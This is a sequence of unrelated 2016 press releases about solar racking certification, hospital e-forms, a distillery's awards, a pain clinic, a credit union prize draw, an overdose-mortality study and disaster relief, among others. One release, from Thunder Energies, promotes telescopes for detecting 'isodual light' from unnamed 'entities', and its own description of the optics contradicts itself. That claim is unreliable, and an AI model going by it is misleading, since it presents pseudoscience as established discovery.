As a market leader in solar racking innovation and product development, expanding our R&D capabilities to include in-house UL2703 testing is a priority for us said Jan Van der Werff, President and CEO of Ecolibrium Solar. This achievement underscores the importance of validation and comprehensive system testing in the development of Solar Racking Products.

Under the Partner Lab agreement, all testing is conducted under the technical direction of TUV Rheinland PTL. TUV Rheinland PTL provides dedicated engineering support throughout review, testing and certification phases. Working together, Ecolibrium and TUV Rheinland PTL are committed to maintain industry leading testing techniques to raise the standard of products offered to the industry.

By including UL2703 testing and certification to their product line before it ships out the door, Ecolibrium Solar proves their commitment to exceeding client needs. As a strategic partner, TUV Rheinland PTL collaborates with Ecolibrium at all steps in the certification process, resulting in faster proof of conformance and allowing them to expand into valuable markets, said Jerry Novacek, Solar Laboratory Manager, TUV Rheinland PTL.

With the ability to conduct UL2703 testing in house, the Ecolibrium Solar engineering team gains a close connection to critical product validation steps. In addition, in house testing expands test capacity, reducing the total timeframe to complete critical UL2703 certification.

By handling UL2703 testing within our R&D Lab, our engineering staff is now able to manage the test schedule while observing testing first hand. With this new capability we are able to conduct pre-compliance testing allowing us to respond quickly during product development said Devin MacRostie, Director of Engineering and Technology. This enables us to optimize our products during the development phase, and ultimately get the next generation of racking products to market faster.

Over the past year, Ecolibrium Solar has expanded its testing capability within the Ecolibrium Solar R&D Laboratory. The current certification starts with UL2703 test capabilities. Going forward, Ecolibrium Solar will add additional testing and certification capabilities beyond UL2703. All new certification will be developed with TUV Rheinlend PTL, and included within the Partner Lab program qualification.

Beyond its own development, Ecolibrium Solar will also offer independent engineering and technical services to other manufacturers and product developers. This offering brings the combined expertise of Ecolibrium Solar and TUV Rheinland PTL to a broader segment of the industry.

About Ecolibrium Solar:

Ecolibrium Solar is a market leader in solar racking solutions for commercial and residential rooftops. The company designs and manufactures simple, cost-effective, and installer-friendly products that maximize solar installation efficiency and minimize costs. Our world-class, innovative mounting solutions are delivered with unparalleled service and support by dedicated, expert staff. In the global solar market for innovative, lower-cost, labor-saving racking technology, Ecolibrium Solar provides proven solutions backed by industry certifications and third-party validations.

About TUV Rheinland

Founded in 1872, TUV Rheinland is a global leader in independent testing, inspection, and certification services, ensuring quality, efficiency and safety for people, the environment and technology in nearly all aspects of life. The company maintains presence in 69 countries, employs 19,300 people and has an annual revenue of more than $1.9 billion (1.7 billion). TUV Rheinland inspects technical equipment, products and services, oversees projects and helps to shape processes for a wide variety of companies through its worldwide network of approved labs, testing facilities and education centers. Since 2006, the company has been a member of the United Nations Global Compact to promote sustainability and combat corruption. For more information, visit http://www.tuv.com/us.
Access Passport has very strong integration with MEDITECH and makes it easy to get forms and signatures into patients electronic records. Access and MEDITECH are the perfect combination for any hospital that wants an integrated EHR instead of silos.

Access today announced that Galway Clinic, a 146-bed community hospital in Galway City, Ireland, is using its electronic patient signatures, e-forms, and clinical data bridge solutions to extend its electronic medical records initiative.

When Galway Clinic found out that their electronic patient signatures vendor was sunsetting their system and that they would need to purchase the replacement product, they turned to Access, the leading provider of such paperless solutions, for an alternative option. After learning more about the companys offerings, Galway Clinic decided to purchase the Access Passport web-based e-forms solution.

Access Passport will help us manage forms electronically across the facility  from patient-focused areas to finance, HR, and other administrative departments, said Raphael Jaffrezic, Chief Information Officer at Galway Clinic. It will make all our documents available online and it will help us improve our workflows.

When Galway Clinic compared electronic signatures and e-forms systems, one of the key evaluation factors was how well they worked with MEDITECHs 6.x EHR.

Accesss proven integration at hospitals worldwide influenced Jaffrezics decision. Access Passport has very strong integration with MEDITECH and makes it easy to get forms and signatures into patients electronic records, he said. Access and MEDITECH are the perfect combination for any hospital that wants an integrated EHR instead of separate information silos.

Another Access solution is also helping improve information sharing between systems and staff in clinical areas.

Previously, Galway Clinic found it challenging to get output from certain clinical systems and medical devices into patient records. We had to print reports and then scan and index them, which was very time consuming, Jaffrezic explained.

Accesss clinical data bridge solves this problem, enabling Galway Clinic to electronically interface output directly into patient records in MEDITECHs EHR without paper or manual effort. Current use cases include the consultant suites online booking application and Endoscopy, ICU, and Urology systems.

Accesss solution is the missing link between medical devices, clinical systems, and our EHR, Jaffrezic said. It enables us to continue the flow of electronic information.

About Access

For more than 15 years, Access has developed electronic forms management solutions that eliminate the unnecessary expense, risk and inefficiency of paper forms. Our 100 percent paperless technology enables organisations in any industry to capture, manage, sign and share forms data without printing or scanning. Learn more at http://www.accessefm.com and help Accesss partner The Last Well bring clean water and the Gospel to Liberia at http://thelastwell.org

About MEDITECH

Today, more than 2,400 institutions worldwide use MEDITECHs clinically-integrated and interoperable EHR to provide healthcare to the communities they serve. Their robust, patient-centered technology spans the healthcare continuum, including unique functional capacity for ambulatory care, acute care, long-term care, rehabilitation services, behavioral health, and home care. For additional information, visit: https://ehr.meditech.com/
CaseBank Technologies Inc., the leading provider of software solutions for equipment fault isolation and defect trend analysis, has announced that it will be exhibiting at Field Service USA 2016, April 25-28, 2016 in Palm Springs, California. On April 27, John Snow, VP of Marketing and Strategic Alliances at CaseBank, will deliver a keynote presentation on Kids Today  Helping Every Service Rep To Act Like An Expert. On April 26, Steve Lightstone, VP of Sales will host Roundtable, Table 7, with discussion topic Product Support as a Corporate Objective  Building the Business Case.

CaseBank troubleshooting and reliability tools improve the speed and accuracy of product support by guiding equipment technicians, call centers and support engineers through the service process, while sharing best practices and collecting feedback from the field, which helps engineers improve product reliability and design. CaseBank will demonstrate its SpotLight interactive troubleshooting solution in Booth #313

Regarding Snows upcoming keynote presentation, Tony OHara, CEO of CaseBank Technologies, said, Field Service USA is a great forum for device and equipment manufacturers to meet face-to-face and stay current with the latest service and support technology and trends. This presentation will address technological and cultural challenges facing service organizations and will identify keys for success, as experts retire and equipment and technology becomes more sophisticated. OHara added We look forward to exhibiting and speaking at Field Service USA to share our expertise in this arena, enabling manufacturers and service providers to improve the support, reliability and performance of their products with an increasingly younger and less experienced workforce.

Held at the J.W. Marriot Desert Springs Resort & Spa, Field Service USA 2016 will highlight lessons learned and deliver key takeaways and developments from leading service organizations. The conference draws over 400 senior-level customer and product support executives who represent over 15 different manufacturing verticals, including high tech, telecommunications, automotive, agricultural and medical equipment. Attendees will learn ways to improve customer satisfaction, field support and technician utilization. Worldwide Business Research Field Service conferences have provided service and support executives with best-practice service and support strategies for over a decade. For more information, visit http://fieldserviceusa.wbresearch.com/

About CaseBank Technologies

CaseBanks software solutions improve fault isolation and defect trend analysis for complex equipment and system repairs related to unplanned maintenance, supporting customers in a variety of industries, including commercial and military aerospace, rail, transportation, heavy equipment, utilities, petro-chemical and continuous process industries.

CaseBank Technologies products provide technicians with guided diagnostics, based on field experience combined with design information, to minimize equipment downtime and provide managers with visibility into fleet-wide failure modes to detect recurring or emerging faults and develop maintenance plans. With CaseBank, organizations can increase equipment availability, reduce operating costs, improve business performance and enhance customer satisfaction.
Randy Blankstein, President of the national net lease advisory firm The Boulder Group, will be the conference chair of the Midwest Real Estate News 2nd Annual Net Lease Summit Conference in Chicago on July 20th, 2016. Additionally, he will be moderating a panel at the conference discussing the state of the Net Lease Market.

The conference description is as follows: This national industry event and networking opportunity will draw the biggest names in the net lease, sale leaseback and 1031 Exchange markets. Industry experts will discuss the latest trends, financing options and market conditions in the industry. It's your chance to get the latest information and network with the leading players in this sector.

About Randy Blankstein

Randy Blankstein is the founder and President of The Boulder Group a boutique investment real estate services company that specializes in single tenant net leased properties. Mr. Blankstein is recognized nationally as a leader in the net lease market, and has personally arranged several billion in net lease related acquisitions and dispositions in his 25 year real estate career.

Randy received honorable mention for the 2014 Net Lease Executive of the Year by Commercial Property Executive Magazine.

For 2015, Randy was ranked by CoStar as the number one net lease advisor in the nation.

About The Boulder Group

The Boulder Group is a boutique investment real estate service firm specializing in single tenant net lease properties. The firm provides a full range of brokerage, advisory, and financing services nationwide to a substantial and diversified client base, which includes high net worth individuals, developers, REITs, partnerships and institutional investment funds. Founded in 1997, the firm has arranged the acquisition and disposition of over $3 billion of single tenant net lease real estate transactions. From 2010-2015, the firm was ranked in the top 10 companies in the nation for single tenant retail transactions by both Real Capital Analytics and CoStar. The Boulder Group is headquartered in suburban Chicago. The firms website is http://www.bouldergroup.com
Winning an award like this is just another reminder that we are on the right track, and we are building a product that will ultimately succeed in a highly competitive market.

Yellow Rose Distilling, Houstons first legal whiskey distillery, has yet another accolade to add its already impressive list of national awards. A panel of industry experts recently gave its Straight Rye Whiskey a score of 96  Extraordinary, Ultimate Recommendation - and awards for being both a Finalist and Great Value. Outlaw Bourbon took home a rating of 91  Excellent, Highly Rated.

The Ultimate Spirits competition, now in its seventh year, attracts hundreds of entrants from around the globe in all major categories of spirits. Yellow Rose Distilling was one of only 157 finalists to be chosen by judges who include some of the beverage industrys most important restaurateurs, sommeliers, buyers, journalists and bartenders.

Yellow Rose Straight Rye Whiskey received a favorable tasting note from the panel: Leathery, spicy, and citrusy on first sniff. Pine, mint, and peach come after. Lots of spicy rye character on the palate balanced by fruit and cream. A robust and nutty finish ensues. The Outlaw Bourbon was praised for its Exquisite nose of caramel covered apple, freshly milled wood, sweet smoke, and grapefruit.

We have come a long way since we started this company six years ago, says Yellow Rose co-founder Ryan Baird. From securing permits and investments to moving to our current distillery space in 2014 to cementing a national expansion deal last year, this has definitely been a labor of love for all of us. Winning an award like this is just another reminder that we are on the right track, and we are building a product that will ultimately succeed in a highly competitive market.

Rye whiskey dwindled in popularity following Prohibition but has recently come to the forefront of the modern American craft cocktail movement. Yellow Roses Straight Rye has been popular among consumers due to its sweeter subtleties  its just as drinkable on the rocks as in cocktails. Yellow Rose Outlaw Bourbon is pot-distilled from 100% corn; a unique approach to a spirit that usually incorporates several different grains. Legally, bourbon must be produced in the United States and made from a grain mixture that is at least 51 percent corn.

The number of amazing craft whiskeys being produced in the US right now is undeniable. We have so much respect for all the other brands and distilleries out there, says master distiller Troy Smith, who founded the company with Baird when they were next door neighbors. But we started Yellow Rose because we saw an opportunity to do something different, to create unique products reflective of our home state. Our bourbon is a little bit sweeter than most for a reason, and we worked really hard to develop a rye that isnt as peppery as some of the others out there. Its always amazing to see that our vision is resonating with consumers and industry peers, and this award is just another example of that.

High-res photos of the Yellow Rose distillery and its products, as well as award related collateral from the Ultimate Spirits Competition, are available here: https://www.dropbox.com/sh/y3i0c4tlb6fap44/AACn1OsQ7tXOEkz675IitDf9a?dl=0

Photos from the Ultimate Spirits Competition are available here: http://www.ultimate-beverage.com/ultimate-spirits-challenge-USC/2016-usc-photos/download

About Yellow Rose Distilling

Named after the Yellow Rose of Texas, history lore dating back to General Sam Houstons 1836 victory at the battle of San Jacinto, YR Distilling was founded in 2010 by Ryan Baird, Troy Smith and Randy Whitaker. Outlaw Bourbon Whiskey launched in Houston in July of 2012. A 10,000 square foot production facility and tasting room opened on the edge of Uptown Houston in the fall of 2014. YRs three core products  Outlaw Bourbon Whiskey, Straight Rye Whiskey and Blended Whiskey  have received critical acclaim and won numerous national awards, and are currently available at premium liquor stores and cocktail bars in select markets nationwide. Atlanta-based Blue Ridge Spirits is actively working with Yellow Rose to expand distribution and launch additional products. Call 281-866-8757 or log on to yellowrosedistilling.com.
TEC 150 mm pair of Galileo and Santilli telescopes

Dr. Ruggero M. Santilli, CEO of Thunder Energies Corporation, a publicly traded company with stock symbol TNRG, announces the sale and delivery of two pair of its proprietary telescopes, the 70 mm and the 150 mm pair of Galileo and Santilli telescopes, to a filmmaker group that are taking them around the world for the production of a documentary on modern surveillance technologies. The delivery took place on April 7, 2016 and was followed by two days of training in the use of the new telescopes. Additional details are kept confidential until the release of the documentary (http://www.thunder-energies.com/index.php/ct-menu-item-18/11-articles/17-article-8).

Dr. Santilli states, "Surveillance has been mostly restricted to date to the detection of entities emitting the range of frequencies of light that are visible to the human eye via the use of conventional binocular and similar Galileo refractive telescopes with convex lenses. Recent discoveries by Thunder Energies Corporation have established that such a type of surveillance is excessively limited because it deals with a rather small range of frequencies of ordinary light, compared to a much broader spectrum of frequencies of ordinary light existing in our environment. Additionally, our company has established the existence of entities in our terrestrial environment that emit a new type of light, technically known as 'isodual light', whose index of refraction is opposite that of ordinary light, thus requiring a convex lens for its focusing. Our pair of Galileo and Santilli telescopes equipped with a digital camera permit a basically new surveillance of civilian, industrial and military installations because allowing for the first time the detection of the widest possible spectrum of frequencies of ordinary light via the Galileo telescope as well as of the widest possible spectrum of frequencies of the new isodual light via the Santilli telescope, the 70 mm pair of Galileo and Santilli telescopes being recommended for the short range surveillance, while the 150 mm pair is recommended for long range detections, including new astrophysical advances" ((http://www.thunder-energies.com/index.php/ct-menu-item-18/11-articles/17-article-8).

Forward Looking Statements

Certain statements in this news release may contain forward-looking information within the meaning of Rule 175 under the Securities Act of 1933 and Rule 3b-6 under the Securities Exchange Act of 1934, and are subject to the safe harbor created by those rules. All statements, other than statements of fact, included in this release, including, without limitation, statements regarding potential future plans and objectives of the company, are forward-looking statements that involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Technical complications, which may arise, could prevent the prompt implementation of any strategically significant plan(s) outlined above. The Company undertakes no duty to revise or update any forward-looking statements to reflect events or circumstances after the date of this release.

Dr. Ruggero M. Santilli

CEO and Chief Scientist

Thunder Energies Corporation
Our ability to innovate and remain nimble to support the changing requirements of doing business in Latin America continues to fuel our growth.

Invoiceware International, the leader in Latin American electronic invoicing and fiscal reporting, was recognized by the Atlanta Business Chronicle as one of the fastest-growing companies in Georgia for the second consecutive year. In 2015, Invoiceware expanded into three additional Latin American countries, maintained a 100 percent client renewal rate, and increased its employee base by 83 percent.

Invoiceware International standardizes complex compliance regulations in Latin America for the worlds largest companies, including The Coca-Cola Company, Brown-Forman, Kelloggs Eli Lilly, Philips and Pfizer. The company reduces costs and improves cash flow for many Fortune 500 and Global 2000 organizations by proactively managing compliance in the worlds most complex regulatory environment. In 2015, Invoiceware introduced several new solutions to support multinationals operating in Latin America, including supply chain financing, strategic partnerships with Lexmark and Oracle, and capabilities to support the growing number of mandates throughout the region, including Mexicos eContabilidad and Brazils eSocial.

Were honored to be recognized as one of Georgias fastest-growing companies two years in a row, said Scott Lewin, president and CEO at Invoiceware International. Our ability to innovate and remain nimble to support the changing requirements of doing business in Latin America continues to fuel our growth. This award underscores our success in transforming complex compliance challenges into value-added opportunities for our customers.

The Atlanta Business Chronicle celebrated the prestigious group of Georgias fastest growing companies at the Pacesetters Award Breakfast on April 21, 2016. The annual awards honor metro-Atlanta companies with substantial, sustained growth. Evaluations are based on growth in revenue and employees over a two-year period.

For more information about the 2016 Pacesetter Awards, click here.

###

About Invoiceware International

Invoiceware International standardizes complex compliance regulations in Latin America for the worlds largest companies, including The Coca-Cola Company, Philips, Kellogg, DuPont and Siemens. As the largest regional business network, Invoiceware reduces the risk and cost of maintaining compliance, empowering its clients to capitalize on government standardized e-invoicing and fiscal reporting to improve supply chain efficiency and optimize cash flow. Invoiceware International is based in Atlanta with operations covering Brazil, Mexico, Chile, Peru, Colombia, Ecuador, Uruguay and Argentina. For more information, visit invoicewareint.com and follow @InvoicewareInt on Twitter.
Advocate Pain Management Center Advocate Pain Management Center now has a central Houston location

Advocate Pain Management Clinic has a new location in the St. Joseph Medical Center in downtown Houston, Texas. The doctors at APMC look forward to providing their much needed care in this central Houston location. They specialize in both pain medication management and interventional procedures, offering over 30 non-surgical effective treatments for pain. All major insurances are accepted, including Medicare and Medicaid.

The doctors at Advocate Pain Management Center are Board Certified Houston pain management doctors and their treatment philosophy is a multidisciplinary approach. Our physicians provide quality, state-of-the-art care unique to the needs of each patient. Treatments include extensive options for both medication management and interventional procedures. Many of the procedure are preformed in office and are minimally invasive. Those who would like to learn more about these interventional procedures can log on to http://www.advocatetx.com/#!treatments/gtia8

Our care philosophy is to develop a customized treatment plan for each patient that might involve medication management such as anti-inflammatories, muscle relaxers or opiates to help control or reduce pain. We believe in finding the origin of the pain and then directing treatment specifically to that source. Some non-surgical interventional procedures include multiple types of epidural injections, selective nerve blocks, joint injections and innovative options like spinal cord stimulator implants and radio frequency ablation.

For more information about our pain management specialists, please visit http://www.advocatetx.com/#!physicians/ctnu or call 713-475-8686.
ESO Solutions, Inc., a leading provider of healthcare software and interoperability solutions, announced the hiring of Matthew Lopez as a Director of Business Development for its Health Data Exchange (HDE) product line.

Lopez joins the growing ESO HDE team to help encourage the growth of HDE, build partner relationships, and expand the customer base.

Matts experience driving system improvement makes him a fit for ESO, stated Allen Johnson, Vice President of ESO HDE. His career reflects the HDE business development vision  bridging the gap between EMS and hospital care to support improved patient outcomes and population health.

ESO Health Data Exchange, a NEMSIS 3 compliant product, is revolutionizing the healthcare profession by giving EMS agencies access to much-needed clinical outcome and billing data while allowing hospitals to access prehospital data in any format they require. HDEs vendor-agnostic design allows any EMS or hospital system, once connected to the HDE platform, to collaborate with any other connected agency, hospital, or other part of a healthcare network.

ESO builds and strengthens relationships between EMS and hospitals while also encouraging shared patient data, said Lopez. In order to improve patient care, EMS and hospitals must align goals and grow together. ESO supports that process by connecting organizations across the healthcare space, he said. Im eager to join a like-minded, motivated team of people who are making a positive impact on improving patient health.

Lopez brings to the team years of leadership experience in public safety and healthcare. He has held positions as Lieutenant of the Bay County (Fla.) Fire Services Division, EMS Coordinator for Gulf Coast Regional Medical Center, and most recently as EMS Specialist at HCA North Florida Division. While at HCA, he led specialized teams designing and implementing multiple projects, including volume growth and clinical quality initiatives. Lopez holds a Bachelor of Business Administration Degree from Texas A&M and Master of Science Degree in Safety, Security, and Emergency Management from Eastern Kentucky University.

Lopez joins colleagues Chris French and Brad Cottrell as new members of the expanding ESO HDE Business Development team.

About ESO

ESO Solutions, Inc., founded in 2004 and headquartered in Austin, Texas, is dedicated to improving community health through the power of data. Its healthcare, public safety and technology experts provide the most innovative software solutions on the market, including the industry-leading ESO Electronic Health Record (EHR) software, as well as the first-of-its-kind healthcare interoperability platform, ESO Health Data Exchange (HDE). For more information about ESO, visit http://www.esosolutions.com.
Joshua Creek Ranch is proud to be nominated as a 2016 Finalist for Orvis Endorsed Wingshooting Lodge of the Year!

Earlier this month, lodge owners, managers and guides from all over North America gathered at the Orvis Guide Rendezvous 2016 Event in Missoula, Montana to share knowledge, wisdom and camaraderie. Part of the weekend included a dinner banquet where Orvis announced a series of annual awards that recognize the best of the best in both the fly-fishing and wingshooting industries.

In only its second year in the prestigious Orvis Endorsed Lodge Program, Joshua Creek Ranch was nominated as a finalist for Orvis Endorsed Wingshooting Lodge of the Year. You guys should feel very proud of this accomplishment, as it is quite rare for a program so new to the Endorsement to make the finalist list, offered Orvis Wingshooting Services Manager, Reid Bryant.

Over two decades ago, Orvis set out to make planning a world-class outdoor experience easier for its customers. The result was the Orvis Endorsement program which represents the best lodges, outfitters, trainers, breeders and guides in North America.

Each endorsed operation has its own character, but all share the same high standards: great service, great fishing and/or wingshooting, and an experienced, professional staff. According to Bryant, hands down the top lodges strive to make a stay at their properties an experience of a lifetime. These standards of excellence are continually reviewed by the Orvis staff and evaluated by visiting guests in post-visit critiques sent directly to Orvis.

Our staff at Joshua Creek Ranch works very hard to uphold the standards set by Orvis and consistently deliver an incredible customer experience. For more than 26 years now, weve been able to keep things fresh and our guests happy with many of them visiting multiple times throughout the year, added Kevin Welborn, Joshua Creek Ranch Director of Marketing, Sales & Guest Services. The customer reviews on our Orvis.com web profile are a true testament to that success, Welborn added.

Link to Orvis Profile: http://www.orvis.com/p/joshua-creek-ranch-tx/2a7m

ABOUT JOSHUA CREEK RANCH:

Joshua Creek Ranch, located in the beautiful Texas Hill Country, is nestled on an isolated stretch of the pristine Guadalupe River and Joshua Creek  just 45 minutes northwest of San Antonio. The Ranch's diverse terrain is a perfect habitat for the best Upland Bird hunting in Texas, as well as decoyed Mallard Duck hunting and Dove hunting excursions in season. Sporting enthusiasts also enjoy shooting on the scenic 15-station sporting clays course and fly-fishing for Rainbow Trout. There's trophy Axis Deer hunting year-round and Whitetail Deer and Turkey hunting in season. With luxury lodging, gourmet dining and premier conference & event facilities, this sportsmans paradise is a one-of-a-kind destination resort that is ideal for corporate events, family getaways, special occasions and milestone celebrations. Joshua Creek Ranch is the only lodge in Texas endorsed by both Orvis and Beretta.
Guyans UA Architech performance training shoe (left) and Sliwas Starry Night reproduction.

The Additive Manufacturing Users Group (AMUG) today announced the winners of its annual Technical Competition, which was held during the groups 28th annual conference in St. Louis, Missouri. A panel of industry veterans named Alan Guyan of Under Armour and Andrew Sliwa of Custom Prototypes Inc. winners of the competition.

Alan Guyans winning entry in the advanced concepts category was the UA Architech performance training shoe. This limited-production footwear features 3D-printed midsoles that offer athletes both support and cushioning. The function of the midsole was achieved through generative design, which created a performance-focused lattice structure that can only be practically manufactured through 3D printing. Guyan used Autodesks Within software for the design and selective laser sintering for the 3D printing.

Andrew Sliwas winning entry in the advanced finishing category was a recreation of Vincent van Goghs The Starry Night. This -scale replica is entirely 3D printed using stereolithography. Custom Prototypes talented staff then hand painted and aged the artwork and frame to create the remarkable piece.

In the advanced concepts category, Vince Anewenter of Milwaukee School of Engineering took second place with a 3D-printed bronze holograph, and Phill Dickens of Added Scientific, Inc. took third place with a diesel pump front plate that shaved 40% from the weight of the conventionally manufactured part it replaces.

In the advanced finishing category, Todd Reese of Realize, Inc. took second place with a replica of BB-8 from the Star Wars franchise, and Heather Tackett of Scicon Technologies Corp took third place with a creature caricature titled Thug.

The annual Technical Competition recognizes excellence in additive manufacturing applications and skill in finishing additive manufacturing parts.
PatrickCars.com As a partner with numerous charitable endeavors, being in a position to contribute to our community and its families is something we really enjoy

The Patrick Dealer Group is committed to the community it serves and since 1971, the Patrick family of dealerships has been a stalwart in the Chicago automotive landscape.

As a partner with numerous charitable endeavors, being in a position to contribute to our community and its families is something we really enjoy, says Hanley Dawson IV, Patrick Dealer Groups President.

On May 7th, one such endeavor is the contribution of a two-year lease on a Patrick BMW 320i to Loyola Academy in Wilmette, Illinois.

The Loyola Academy Ramble Auction, is an evening of silent and live auctions, dinner and dancing on May 7, 2016. One hundred percent of the proceeds raised at the Ramble is allocated to tuition assistance, says Sophie Streeter, Loyola Academys director of special events. She adds, Loyola Academy annually awards $3.8 million in tuition assistance to 30 percent of our students. We do this to maintain a vibrant and diverse student body, and provide a Jesuit college preparatory experience for all qualified students, regardless of their ability to pay for one.

The Patrick Dealer Groups contribution of a two-year lease on the BMW 320i to be raffled off, will go toward the nearly $1.2 million generated for education in one single night at Loyolas Ramble. Raffle tickets can be purchased through May 7th at http://www.goramblers.org/rambleraffle.
Donald and Pat Ivey of Sunnyvale were surprised with a $10,000 prize from Neighborhood Credit Union. It's like a double hit: saving money and winning a prize for it.

Gray skies and steady rain did not dampen the joy at one Sunnyvale home Wednesday morning, as Neighborhood Credit Union leaders surprised Donald Ivey and his wife, Pat, with a $10,000 prize as a reward for their good savings habits.

We are very surprised and very excited, said Ivey. We had hoped at some point, we might win something with our Prize Savings Account at Neighborhood Credit Union. Its like a double hit: saving money and winning a prize for it.

When we received the call that we were going to win something, we couldnt imagine, said Mrs. Ivey. People started warning us this was a scam because they didnt think credit unions really give away prizes. She admitted with a smile that after receiving the call, she contacted Neighborhood Credit Union to verify Senior Vice President Carolyn Jordan was a real person.

Ivey, who serves as pastor of Long Creek Baptist Church in Sunnyvale, is a religious saver who is very frugal, according to his wife.

We use the credit unions online tools to help us keep up with our finances, explained Ivey. We just picked a number and have that same amount of money transferred automatically into our Prize Savings Account every single month.

The Iveys have been members of Neighborhood Credit Union since 1998. They learned about the credit union from his mother, who also is a member. Their sons also are members.

The Dallas-based credit union drew Donald Iveys name from the ranks of its Prize Savings Account holders. Neighborhood Credit Union established the Prize Savings Account in 2008 to encourage people to save more money, at a time when the personal savings rate had dropped to one of the lowest levels in U.S. history. Neighborhood Credit Union awards a variety of prizes throughout the year, including quarterly $10,000 prizes and a $25,000 grand prize at the start of each year. The more a person has saved in his or her Prize Savings Account, the more chances to win a prize.

The Iveys are great role models for how to be smart savers of money. They consistently pay themselves first, said Jordan. We hope others will be inspired during this National Financial Literacy Month to start setting aside money to invest in the future.

I tell the people in my congregation that its very important to put money aside for the future, said Ivey. There will come a day when you will need it.

See the Video of the Surprise Delivery to Donald and Pat Ivey here.

How the Prize Savings Account works: Neighborhood Credit Union members receive one drawing entry for every $25 monthly average balance in their Prize Savings Accounts. The greater the savings, the greater the chance a member has of winning. Members are eligible for monthly drawings and quarterly $10,000 drawings. At the start of each year, a winner is drawn for the $25,000 grand prize based on the average monthly balance in the savings account at close of business December 31.

About Neighborhood Credit Union: The oldest credit union in Dallas (chartered April 18, 1930), Neighborhood Credit Union is a not-for-profit financial organization serving Dallas, Denton, and Ellis counties, as well as the cities of Arlington and Midland. With branches in Downtown Dallas, Oak Cliff, North Dallas, Richardson, Arlington, Mesquite, Duncanville, Waxahachie, Lancaster, Grand Prairie, Coppell and Midland and assets topping $590 million, Neighborhood Credit Union has a membership of 47,000 and continues to welcome new members daily. For more information, call (214) 748-9393 or visit http://www.myncu.com.
Areas in the U.S. with the highest drug-overdose death rates are not always places with high drug trafficking, according to a new University of Pittsburgh Graduate School of Public Health analysis published in the journal Preventive Medicine.

Drug-overdose mortality rates have increased an average of 6.7 percent per year since 1979 but held relatively steady in most U.S. border counties, indicating that drugs appear to pass through these counties without affecting the death rates of their residents.

Our research reveals several potential new drug overdose problem regions that warrant careful attention as they may not correspond to areas covered by federal resources to combat drug trafficking, said lead author Jeanine Buchanich, Ph.D., deputy director of Pitt Public Healths Center for Occupational Biostatistics and Epidemiology. Western Pennsylvania is one such area that is not considered to have high drug trafficking, but yet has one of the fastest growing drug overdose rates nationwide.

Using the Mortality and Population Data System, a unique repository and retrieval system for detailed death data from the National Center for Health Statistics, housed at Pitt Public Health, Dr. Buchanich and her team examined overdose deaths in the U.S. from 1979 to 2014. The team started with 1979 because changes in reporting cause of death make it impossible to make comparisons with previous years. 2014 is the most recent year for which data are available.

The counties with the largest increases in overdose death rates were clustered in southern Michigan; eastern Ohio and western Pennsylvania; eastern Pennsylvania, New Jersey and much of southeastern New York; and coastal New England.

Counties in the Midwest, California and Texas have seen little to no increase in overdose death rates.

The mortality data was cross-referenced with counties in the High Intensity Drug Trafficking Areas program, which was created by Congress in 1988 to provide 31 high drug-trafficking areas of the U.S. with coordinated law enforcement resources dedicated to reducing trafficking and production.

High Intensity Drug Trafficking Areas with high overdose death rates were mostly concentrated in Appalachia and the Southwest U.S., whereas such areas with lower death rates were near the borders in California, Texas and southern Florida.

While resources are justifiably being targeted to the High Intensity Drug Trafficking Areas, they must also be allocated to counties outside those areas with rapidly increasing and currently high drug overdose rates, said Dr. Buchanich, also a research assistant professor in Pitt Public Healths Department of Biostatistics.

Pitt Public Healths Mortality and Population Data System also unveiled several demographic insights that could be used to guide prevention and drug intervention efforts, including that:



Since 1979, death rates increased for all age groups, with the smallest rate of growth in those older than 65 and the largest in 45 to 54 year olds.

In 1979, overdose deaths occurred most frequently among 25 to 34 year olds and blacks; in 2014, rates were highest among 45 to 54 year olds and whites.

Mortality rates were slightly higher in urban counties than rural counties.

Deaths due to overdose in women began increasing in the mid-1990s and increased dramatically in 2002; for men, the rates began climbing in the mid-1980s with a more rapid increase also beginning in 2002.

Dr. Buchanich will continue to build on her drug overdose research with funding from the Pitt Public Health opioid pilot grant program. These one-year pilot grant projects explore different areas of the opioid overdose epidemic with the goal of providing research-based information to guide public health interventions.

Additional researchers on this study are Lauren C. Balmert, Donald S. Burke, M.D., and Gary M. Marsh, Ph.D., of Pitt Public Health; Janice L. Pringle, Ph.D., of Pitts School of Pharmacy; and Karl E. Williams, M.D., M.P.H., of the Office of the Medical Examiner of Allegheny County.

This research was supported through internal University of Pittsburgh funding.

# # #

About the University of Pittsburgh Graduate School of Public Health

The University of Pittsburgh Graduate School of Public Health, founded in 1948 and now one of the top-ranked schools of public health in the United States, conducts research on public health and medical care that improves the lives of millions of people around the world. Pitt Public Health is a leader in devising new methods to prevent and treat cardiovascular diseases, HIV/AIDS, cancer and other important public health problems. For more information about Pitt Public Health, visit the schools Web site at http://www.publichealth.pitt.edu.

http://www.upmc.com/media
Episcopal Relief & Development is supporting local church partners in Texas, Ecuador and Japan as they respond to recent disasters. Throughout, local churches are reaching out in their communities to assess needs and accompany people as they cope with the immediate aftermath of the emergency. In addition to pastoral care, churches are also providing temporary housing assistance and emergency supplies such as food, water, fuel and other site-specific needs.

In Texas, as much as 20 inches of rain fell overnight on April 17-18 in northern and northwestern parts of Harris County, affecting the city of Houston and surrounding areas. Texas Governor Greg Abbott declared a state of emergency in Harris and eight other counties in response to this event, which has killed eight people, flooded more than 1,100 homes and caused upwards of $5 billion in damage.

In this early stage of the response, the Episcopal Diocese of Texas will utilize Spiritual Care Teams to assess needs and identify vulnerable flood survivors who may benefit from help in applying for assistance and navigating their recovery process. Supported in part by Episcopal Relief & Development, the teams will be able to provide pastoral care and gift cards for immediate needs, as well as offer rent assistance for temporary housing in cases where people have evacuated from their homes and are unable to stay in a shelter. The teams are organized and equipped by The Ven. Russ Oechsel, Texas Archdeacon and longtime Diocesan Disaster Coordinator.

The Diocese of Texas, unfortunately, is very experienced in responding to disasters like these, having been through everything from Hurricane Ike in Galveston to the wildfires in Bastrop, said Katie Mears, Director of Episcopal Relief & Developments US Disaster Program. The diocese brings so many gifts to this response: an experienced and highly capable diocesan disaster coordinator, a trained network of volunteers, a wealth of knowledge and relationships they've developed in past disasters and a robust network of churches and ministries with excellent ties to the community. As always, we stand with our partners as they work through the response and recovery process, and we pray for them and their families and the communities they work in."

